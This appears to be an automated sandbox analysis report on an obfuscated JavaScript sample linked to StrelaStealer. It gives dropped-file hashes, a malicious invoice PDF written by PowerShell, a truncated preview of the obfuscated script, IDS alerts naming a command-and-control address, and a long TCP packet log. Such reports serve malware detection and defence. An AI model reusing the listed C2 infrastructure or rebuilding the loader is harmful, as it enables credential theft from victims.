Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\39c665ae-9df1-451b-9fd0-9a50554335b9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f29218c1-afc7-4447-8921-9f6cb691f332.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLcGZtwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLcGZa
MD5:	22B260CB8C51C0D68C6550E4B061E25A
SHA1:	DF9A5999C58A8D5ADBB3F8D1111EAB9E4778637E
SHA-256:	DAB1231CC22DAB591EBB91C853E3EE41C10D3DA85D2EFAB67E9A52CCB3A3A5A0
SHA-512:	503218D83C511A7F7CEA8BC171921D1435664B964F01A8C77DC0F4D0196DD2815D9444DA98278E1369552D004E9B091DD9B89663209F0C52ACB97FCE6AFFE7A9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17542), with CRLF line terminators
Entropy (8bit):	4.907427177186585
TrID:
File name:	129415641190368510.js
File size:	21'107 bytes
MD5:	d5e168d398fc569dc1ed8c9aeb9de7e0
SHA1:	d2ccb1fdcca589cf7a6d3c68186f847554722997
SHA256:	c1c8b25d3d7a140c195e8ec22c3ac0e82aa2ee4c005ac9160d53539bd10ff325
SHA512:	f907dc442ffaa75fdcd6ca0e0f7b8b139a06f54924e9df293e9ed351f2a009433e3260c6b591d30ff7564cec21bdfe52678057cfa8698a1ab98c861cc18ff44c
SSDEEP:	192:RkXZk16J0PbeBvyWCZz46tJHwaPC3UHv2l04AxwnarhXGwBHt8whiroZx+/UjNuo:37Uv6qn0hpHtPhDZxjM1PTC
TLSH:	B49264D0DA409B93D6E482F6D2FB08BE00E80E5883F491DF1B6B94D583CF99116E6DB4
File Content Preview:	function durceqrot(){fncux=[1031,3079,5127,4103,2055,3072];var xifkk=this[kmrqqf+opouvr+bxsmfog+trnrncp+rzjaxfvj+azhzi+wayaaij+khrlfldmr](this[kpzudg+nvxaq+tfmppcnsf+bxsmfog+aicsdb+kmrqqf+khrlfldmr][aywoujqj+bxsmfog+rzjaxfvj+opouvr+khrlfldmr+rzjaxfvj+zvsm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T00:10:10.612776+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-11T00:10:10.612776+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-11T00:10:13.505209+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:10:09.760771990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:09.766999006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:09.767232895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:09.769927979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:09.776459932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.612689018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.612731934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.612745047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.612765074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.612776041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.612777948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.612791061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.612804890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.612826109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.612833977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.612838984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.612853050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.612884998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.612885952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.613490105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.658447981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.658487082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.658498049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.658600092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.712502956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.741791010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.741836071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.741847992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.742126942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.742160082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.742196083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.742207050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.742238045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.742238045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.742938995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.742950916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.742963076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.742991924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.743655920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.743696928 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.743710041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.743721962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.743778944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.744393110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.744469881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.744481087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.744514942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.745255947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.745268106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.745280027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.745340109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.745340109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.748987913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.790537119 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.793390989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.793405056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.793417931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.793428898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.793508053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.793508053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.832366943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.832381010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.833009005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.870462894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.870476007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.870513916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.870554924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.870567083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.870569944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.870620966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.871006966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.871020079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.871032000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.871043921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.871073008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.871073008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.871779919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.871802092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.871825933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.872127056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.872159004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.872170925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.872179031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.872184992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.872246981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.872965097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.872977972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.872991085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.873003960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.873022079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.873040915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.873815060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.873827934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.873840094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.873853922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.873872042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.873903990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.874551058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.874563932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.874583006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.874605894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.874634027 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.874634027 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.875354052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.875366926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.875380039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.875391960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.875420094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.875420094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.876179934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.876193047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.876204967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.876216888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.876241922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.876241922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.876921892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.876941919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.876971006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.877774954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.877794981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.877840042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.877880096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.877901077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.877923965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.916111946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.916127920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.916138887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.916223049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.916229963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.916238070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.916250944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.916265011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.916405916 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.916405916 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.961673021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.961685896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.961703062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.961715937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.961726904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.961937904 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.961939096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.999023914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999037981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999058962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999092102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.999120951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.999273062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999326944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999340057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999352932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999382973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.999444962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.999459982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999479055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999491930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999504089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999516010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999541044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.999541044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.999782085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999805927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999828100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.999845982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999859095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999917030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999927998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999941111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999953032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:10.999954939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:10.999967098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.000021935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.000021935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.000021935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.000363111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.000375986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.000387907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.000441074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.000447035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.000452995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.000468016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.000482082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.000494003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.000515938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.000515938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.000967979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.000981092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.000992060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001018047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.001018047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.001199961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001211882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001224995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001235962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001241922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001247883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001266956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001277924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001281977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.001281977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.001291990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001303911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001315117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001327038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001341105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.001342058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.001342058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.001374960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.001374960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.002254963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.002266884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.002279997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.002290010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.002302885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.002314091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.002326965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.002338886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 00:10:11.002350092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 00:10:11.002350092 CET	80	49709	193.143.1.205	192.168.2.6
